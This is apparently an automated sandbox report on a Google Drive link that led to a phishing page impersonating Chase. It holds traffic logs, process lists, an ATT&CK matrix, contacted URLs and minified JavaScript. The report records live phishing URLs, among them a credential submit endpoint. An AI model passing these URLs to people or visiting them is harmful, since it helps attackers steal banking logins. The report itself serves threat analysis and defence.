Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: classification engine

Classification label: mal52.phis.win@21/140@32/7

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1972,i,10679990222649613335,13841907294963608767,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1972,i,10679990222649613335,13841907294963608767,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
blobcomments-pa.clients6.google.com	142.250.181.74	true	false		high
play.google.com	142.250.181.110	true	false		high
plus.l.google.com	142.250.181.46	true	false		high
www.google.com	142.250.181.132	true	false		high
drive.google.com	172.217.17.46	true	false		high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high
peoplestackwebexperiments-pa.clients6.google.com	172.217.17.42	true	false		high
online.access.secure001.chase-business.com	188.119.66.154	true	true		unknown
apis.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://online.access.secure001.chase-business.com/content/fonts/opensans-regular.woff	false		unknown
https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30	false		high
https://online.access.secure001.chase-business.com/content/css/logon.css	false		unknown
https://online.access.secure001.chase-business.com/content/js/jquery3_3_1.min.js	false		unknown
https://online.access.secure001.chase-business.com/submit.php	false		unknown
https://online.access.secure001.chase-business.com/content/fonts/opensans-semibold.woff	false		unknown
https://online.access.secure001.chase-business.com/secure/	false		unknown
https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png	false		high
https://online.access.secure001.chase-business.com/content/background.desktop.90018.jpeg	false		unknown
https://online.access.secure001.chase-business.com/content/fonts/dcefont.woff	false		unknown
https://play.google.com/log?format=json&hasfast=true	false		high
https://online.access.secure001.chase-business.com/content/css/mds-chase-icons.css	false		unknown
https://online.access.secure001.chase-business.com/content/fonts/opensans-bold.woff	false		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1	false		high
https://online.access.secure001.chase-business.com/?ref=trush39dh3sc	false		unknown
https://online.access.secure001.chase-business.com/content/css/loader_big.css	false		unknown
https://online.access.secure001.chase-business.com/	false		unknown
https://online.access.secure001.chase-business.com/content/chasefavicon.ico	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://apis.google.com/js/googleapis.proxy.js?onload=startup	chromecache_164.2.dr	false		high
https://signaler-staging.sandbox.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://feedback.googleusercontent.com/resources/annotator.css	chromecache_144.2.dr, chromecache_148.2.dr	false		high
http://www.broofa.com	chromecache_159.2.dr, chromecache_172.2.dr, chromecache_113.2.dr, chromecache_119.2.dr	false		high
https://apis.google.com/js/client.js	chromecache_144.2.dr, chromecache_159.2.dr, chromecache_148.2.dr, chromecache_172.2.dr	false		high
https://feedback2-test.corp.googleusercontent.com/tools/feedback/%	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://support.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://apis.google.com/js/googleapis.proxy.js	chromecache_114.2.dr	false		high
http://localhost.proxy.googlers.com/inapp/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://stagingqual-feedback-pa-googleapis.sandbox.google.com	chromecache_148.2.dr	false		high
https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1	chromecache_95.2.dr, chromecache_114.2.dr	false		high
https://support.google.com/drive/answer/2423485?hl=%s	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://help.youtube.com/tools/feedback/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://onepick-autopush.sandbox.google.com/picker/minpick/main	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_168.2.dr	false		high
https://docs.google.com/document/d/1kganm9BHI3TsF8ogVulX2o4DzzO8XA4gu8aIKneTTNU/preview	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://policies.google.com/terms	chromecache_172.2.dr	false		high
https://www.youtube.com	chromecache_115.2.dr	false		high
https://asx-frontend-staging.corp.google.com/tools/feedback/	chromecache_148.2.dr	false		high
https://www.google.com	chromecache_159.2.dr, chromecache_146.2.dr, chromecache_172.2.dr, chromecache_115.2.dr	false		high
https://support.google.com/drive/answer/2407404?hl=en	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://pay.google.com/gp/v/widget/save	chromecache_114.2.dr	false		high
https://workspace.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://onepick-staging.sandbox.google.com/picker/minpick/main	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/legal/answer/3110420	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/docs/answer/49114	chromecache_172.2.dr	false		high
https://support.google.com/drive/answer/2423694	chromecache_172.2.dr	false		high
https://support.google.com/google-workspace-individual/?p=esignature_signer_terms	chromecache_172.2.dr	false		high
https://drive-thirdparty.googleusercontent.com/	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://www.google.com/shopping/customerreviews/optin?usegapi=1	chromecache_95.2.dr, chromecache_114.2.dr	false		high
https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://onepick-preprod.sandbox.google.com/picker/minpick/main	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://developers.google.com/	chromecache_155.2.dr, chromecache_107.2.dr	false		high
https://onepick-staging-drivequal.sandbox.google.com/picker/minpick/main	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://calendar.google.com/calendar	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://developers.google.com/identity/gsi/web/guides/gis-migration)	chromecache_107.2.dr	false		high
https://www.google.com/tools/feedback	chromecache_148.2.dr, chromecache_172.2.dr	false		high
https://sandbox.google.com/inapp/%	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://tasks.google.com/	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://www.google.com/recaptcha/api.js?trustedtypes=true	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://apis.google.com/js/api.js	chromecache_172.2.dr, chromecache_96.2.dr	false		high
https://www.google.com/tools/feedback/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://www.youtube.com/subscribe_embed?usegapi=1	chromecache_95.2.dr, chromecache_114.2.dr	false		high
https://feedback2-test.corp.google.com/tools/feedback/%	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://punctual-dev.corp.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://plus.google.com	chromecache_168.2.dr	false		high
https://asx-frontend-autopush.corp.google.de/tools/feedback/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://clients5.google.com/webstore/wall/widget	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://asx-frontend-autopush.corp.google.com/inapp/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://support.google.com/drive?p=gemini_drive_pdf	chromecache_172.2.dr	false		high
https://feedback.googleusercontent.com/resources/render_frame2.html	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://sandbox.google.com/tools/feedback/%	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://localhost.corp.google.com/inapp/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://support.google.com/drive/answer/7650301	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://drive.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://play.google.com/work/embedded/search?usegapi=1&usegapi=1	chromecache_95.2.dr, chromecache_114.2.dr	false		high
https://policies.google.com/privacy	chromecache_172.2.dr	false		high
https://drive.google.com/requestreview?id=	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/docs/answer/65129?hl=en	chromecache_126.2.dr, chromecache_96.2.dr	false		high
https://asx-frontend-staging.corp.google.com/inapp/	chromecache_148.2.dr	false		high
https://drive.google.com/drive/my-drive	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/docs/answer/13447609	chromecache_172.2.dr	false		high
https://fonts.google.com/license/googlerestricted	chromecache_102.2.dr, chromecache_153.2.dr	false		high
https://clients6.google.com	chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_155.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_107.2.dr, chromecache_168.2.dr	false		high
http://localhost.corp.google.com/inapp/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://play.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://clients5.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://console.developers.google.com/	chromecache_155.2.dr, chromecache_107.2.dr	false		high
https://signaler-pa.youtube.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/inapp/%	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://asx-help-frontend-autopush.corp.youtube.com/inapp/	chromecache_144.2.dr, chromecache_148.2.dr	false		high
https://drivemetadata.clients6.google.com	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/docs/answer/15001094	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://developers.google.com/youtube/iframe_api_reference#Events	chromecache_146.2.dr, chromecache_115.2.dr	false		high
https://cloud.google.com/terms/cloud-privacy-notice	chromecache_172.2.dr	false		high
https://support.google.com/docs/answer/148505	chromecache_159.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/	chromecache_148.2.dr, chromecache_172.2.dr	false		high
https://support.google.com/docs/answer/37603	chromecache_172.2.dr	false		high
https://www.google.com/shopping/customerreviews/badge?usegapi=1	chromecache_95.2.dr, chromecache_114.2.dr	false		high
https://support.google.com/contacts/answer/7345608	chromecache_126.2.dr, chromecache_96.2.dr	false		high
https://drive.google.com/savetodrivebutton?usegapi=1	chromecache_95.2.dr, chromecache_114.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.217.19.228	unknown	United States		15169	GOOGLEUS	false
142.250.181.132	www.google.com	United States		15169	GOOGLEUS	false
142.250.181.110	play.google.com	United States		15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
142.250.181.46	plus.l.google.com	United States		15169	GOOGLEUS	false
188.119.66.154	online.access.secure001.chase-business.com	Russian Federation		209499	FLYNETRU	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578639
Start date and time:	2024-12-20 01:15:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@21/140@32/7

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.78, 64.233.162.84, 142.250.181.99, 172.217.17.46, 172.217.19.234, 172.217.17.67, 217.20.58.99, 192.229.221.95, 142.250.181.106, 172.217.17.74, 142.250.181.42, 142.250.181.10, 172.217.19.202, 172.217.17.42, 142.250.181.74, 142.250.181.138, 172.217.21.42, 172.217.19.10, 172.217.19.170, 57.150.87.129, 216.58.208.234, 172.217.17.35, 34.104.35.123, 23.42.153.247, 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ssl.gstatic.com, slscr.update.microsoft.com, youtube.googleapis.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, securityunlocking.blob.core.windows.net, update.googleapis.com, www.gstatic.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, otelrules.azureedge.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, content.googleapis.com, blob.iad11prdstr04a.store.core.windows.net, azureedge-t-prod.trafficmanager.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://drive.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://drive.google.com
URL: https://online.access.secure001.chase-business.com... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This script appears to be a simple loader animation that hides after 2 seconds, which is a common practice for web pages. It does not exhibit any high-risk behaviors and is likely a legitimate part of the website's functionality." }
$(document).ready(function() { setTimeout(function(){ $('.loader_big').hide(); }, 2000); });
URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate script that initializes a feature toggle system. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or suspicious redirects. The script is well-commented and includes copyright information, indicating it is likely part of a larger, reputable codebase. While it uses some legacy practices like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script seems benign and is likely used for legitimate purposes." }
try{ var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]); /* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright Google LLC SPDX-License-Identifier: Apache-2.0 / / Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / / SPDX-License-Identifier: Apache-2.0 / / Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright 2024 Google, Inc SPDX-License-Identifier: MIT / / Copyright 2005, 2007 Bob Ippolito. All Rights Reserved. Copyright The Closure Library Authors. SPDX-License-Identifier: MIT / var h,aa=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,aa);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));b!==void 0&&(this.cause=b);this.C=!0},ba=function(){throw Error("E");},aaa=function(a,b){b=String.fromCharCode.apply(null,b);return a==null?b:a+b},eaa=function(a){var b=!1;b=b===void 0?!1:b;if(baa){if(b&&(caa?!a.isWellFormed():/(?:[^\uD800-\uDBFF]\|^)[\uDC00-\uDFFF]\|[\uD800-\uDBFF](?![\uDC00-\uDFFF])/.test(a)))throw Error("F");a=(daa\|\|(daa=new TextEncoder)).encode(a)}else{for(var c= 0,d=new Uint8Array(3a.length),e=0;e<a.length;e++){var f=a.charCodeAt(e);if(f<128)d[c++]=f;else{if(f<2048)d[c++]=f>>6\|192;else{if(f>=55296&&f<=57343){if(f<=56319&&e<a.length){var g=a.charCodeAt(++e);if(g>=56320&&g<=57343){f=(f-55296)1024+g-56320+65536;d[c++]=f>>18\|240;d[c++]=f>>12&63\|128;d[c++]=f>>6&63\|128;d[c++]=f&63\|128;continue}else e--}if(b)throw Error("F");f=65533}d[c++]=f>>12\|224;d[c++]=f>>6&63\|128}d[c++]=f&63\|128}}a=c===d.length?d:d.subarray(0,c)}return a},da=function(a){ca.setTimeout(function(){throw a; },0)},fa=function(){var a=ca.navigator;return a&&(a=a.userAgent)?a:""},gaa=function(a){return faa?ha?ha.brands.some(function(b){return(b=b.brand)&&ia(b,a)}):!1:!1},ja=function(a){return ia(fa(),a)},ka=function(){return faa?!!ha&&ha.brands.length>0:!1},haa=function(){return ka()?!1:ja("Opera")},iaa=function(){return ka()?!1:ja("Trident")\|\|ja("MSIE")},jaa=function(){return ka()?gaa("Microsoft Edge"):ja("Edg/")},kaa=function(){return ja("Firefox")\|\|ja("FxiOS")},ma=function(){return ja("Safari")&&!(laa()\|\| (ka()?0:ja("Coast"))\|\|haa()\|\|(ka()?0:ja("Edge"))\|\|jaa()\|\|(ka()?gaa("Opera"):ja("OPR"))\|\|kaa()\|\|ja("Silk")\|\|ja("Android"))},laa=function(){return ka()?gaa("Chromium"):(ja("Chrome")\|\|ja("CriOS"))&&!(ka()?0:ja("Edge"))\|\|ja("Silk")},maa=function(){return ja("Android")&&!(laa()\|\|kaa()\|\|haa()\|\|ja("Silk"))},naa=function(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[c.find(function(d){return d in b})]\|\|""}},oaa=function(a){var b=fa();if(a==="Internet Explorer"){if(iaa())if((a= /rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s(?:\\((.*?)\\))?","g");c=[];for(var e;e=d.exec(b);)c.push([e[1],e[2],e[3]\|\|void 0]);b=naa(c);switch(a){case "Opera":if(haa())return b(["Version","Opera"]); if(ka()?gaa("Opera"):ja("OPR"))return b(["OPR"]);break;case "Microsoft Edge":if(ka()?0:ja("Edge"))return b(["Edge"]);if(jaa())return b(["Edg"]);break;case
